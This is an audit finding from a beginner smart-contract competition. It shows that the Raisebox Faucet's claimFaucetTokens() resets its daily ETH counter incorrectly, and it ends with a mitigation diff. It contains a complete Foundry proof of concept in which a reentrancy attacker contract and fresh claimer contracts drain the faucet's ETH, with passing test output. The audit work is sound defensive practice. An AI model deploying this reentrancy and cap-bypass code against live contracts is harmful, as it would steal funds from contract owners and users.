Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
Submission Details
Impact: high
Likelihood: high

Incorrect reset of `dailyDrips` allows to exceed the daily maximum for drips of Sepolia ETH

Author Revealed upon completion

Description

  • The faucet tracks how much Sepolia ETH has been dripped in the current calendar day using dailyDrips. It should only reset dailyDrips when the day changes and must enforce dailySepEthCap so the ETH distributed in a single day never exceeds the cap.

  • Inside claimFaucetTokens(), the code resets dailyDrips to 0 whenever the caller is not eligible for the first‑time ETH drip or when drips are paused. This unconditional reset allows attackers to zero the daily counter at will, enabling additional first‑time claimers to receive ETH beyond the daily cap in the same day.

function claimFaucetTokens() public {
faucetClaimer = msg.sender;
// ... checks ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0; // correct: reset only when the day advances
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (!success) revert RaiseBoxFaucet_EthTransferFailed();
} else {
emit SepEthDripSkipped(...);
}
} else {
// @> BUG: this resets the day's ETH accounting for ANY non-first-time claimant
// @> or whenever drips are paused, letting the cap be exceeded later.
dailyDrips = 0; // @> incorrect unconditional reset
}
// ... rest of function ...
}

Risk

Likelihood: High

  • Whenever a previously ETH‑paid address calls claimFaucetTokens() later in the same day (using reentrancy described in my other report), the else branch executes and resets dailyDrips to 0.

  • Whenever drips are paused, any call to claimFaucetTokens() triggers the same else branch reset, zeroing the counter.

Impact: High

  • Daily cap bypass: After the counter is reset, additional first‑time claimers can receive ETH beyond dailySepEthCap in that calendar day.

  • Accelerated ETH depletion: Attackers can orchestrate repeated resets and fresh claimers to drain the contract’s ETH.

Proof of Concept

  • In the test directory create file PocEthDripsCapBypass.t.sol

  • Copy bellow code and run forge test --mt testDrainRaiseBoxFaucetEth -vv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {Test, console} from "../lib/lib/forge-std/src/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
import {DeployRaiseboxContract} from "../script/DeployRaiseBoxFaucet.s.sol";
contract TestEthDripsCapBypass is Test {
RaiseBoxFaucet raiseBoxFaucet;
DeployRaiseboxContract raiseBoxDeployer;
address attacker = address(0xBEEF);
function setUp() public {
raiseBoxDeployer = new DeployRaiseboxContract();
raiseBoxDeployer.run();
raiseBoxFaucet = raiseBoxDeployer.raiseBox();
vm.deal(address(raiseBoxFaucet), 0.4 ether); // Fund the faucet with ETH
// Advance time to ensure the faucet is ready for claims
vm.warp(3 days);
}
function testDrainRaiseBoxFaucetEth() public {
uint256 initialAttackerEthBalance = attacker.balance;
assertEq(initialAttackerEthBalance, 0, "attacker should start with 0 ETH");
console.log("Initial attacker ETH balance:", initialAttackerEthBalance);
uint256 faucetInitialEthBalance = address(raiseBoxFaucet).balance;
assertEq(
faucetInitialEthBalance,
0.4 ether,
"faucet should start with 0.4 ETH"
);
console.log("Initial faucet ETH balance:", faucetInitialEthBalance);
uint256 rounds = 8;
uint256 freshClaimersPerRound = 10;
for (uint256 r = 0; r < rounds; r++) {
// ---- Stage A: zero out `dailyDrips` using a non-first-time claimant ----
resetFaucetDailyDrips();
// ---- Stage B: exceed the daily cap with new first-time claimers ----
for (uint256 i = 0; i < freshClaimersPerRound; i++) {
FreshClaimer c = new FreshClaimer(raiseBoxFaucet);
c.claim(); // first-time claimers each receive ETH
c.sendEthToAttacker(attacker); // send dripped Sepolia ETH to attacker's EOA
}
}
uint256 finalAttackerEthBalance = attacker.balance;
console.log("Final attacker ETH balance:", finalAttackerEthBalance);
uint256 faucetFinalEthBalance = address(raiseBoxFaucet).balance;
console.log("Final faucet ETH balance:", faucetFinalEthBalance);
uint256 expectedEthDripped = rounds * freshClaimersPerRound * raiseBoxFaucet.sepEthAmountToDrip();
assertEq(
finalAttackerEthBalance,
expectedEthDripped,
"attacker should have received all dripped ETH"
);
}
function resetFaucetDailyDrips() public {
ReentrancyAttacker attackerContract = new ReentrancyAttacker(raiseBoxFaucet, attacker);
attackerContract.attack();
}
}
/// Minimal fresh claimer contracts, each with a unique address that hasn't claimed ETH yet
contract FreshClaimer {
RaiseBoxFaucet public faucet;
constructor (RaiseBoxFaucet _faucet) { faucet = _faucet; }
function claim() external { faucet.claimFaucetTokens(); }
function sendEthToAttacker(address attacker) external {
payable(attacker).transfer(address(this).balance);
}
receive() external payable {}
}
contract ReentrancyAttacker {
RaiseBoxFaucet public faucet;
uint256 public reenters;
address public attacker;
constructor(RaiseBoxFaucet _faucet, address _attacker) {faucet = _faucet; attacker = _attacker; }
function attack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
if (reenters == 0) {
reenters = 1;
faucet.claimFaucetTokens();
}
payable(attacker).transfer(address(this).balance);
}
}
Ran 1 test for test/PocEthDripsCapBypass.t.sol:TestEthDripsCapBypass
[PASS] testDrainRaiseBoxFaucetEth() (gas: 26444446)
Logs:
Initial attacker ETH balance: 0
Initial faucet ETH balance: 400000000000000000
Final attacker ETH balance: 400000000000000000
Final faucet ETH balance: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.62ms (6.82ms CPU time)

Recommended Mitigation

  • Do not reset the daily ETH counter for non-first-time claimants or when drips are paused.

  • Only reset on day rollover (already correctly handled above using the day bucket).

  • See mitigations for reentrancy in my Reentrancy in claimFaucetTokens() enables double token claims in a single tx report.

- } else {
- dailyDrips = 0; // incorrect: allows arbitrary cap resets within same day
- }

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.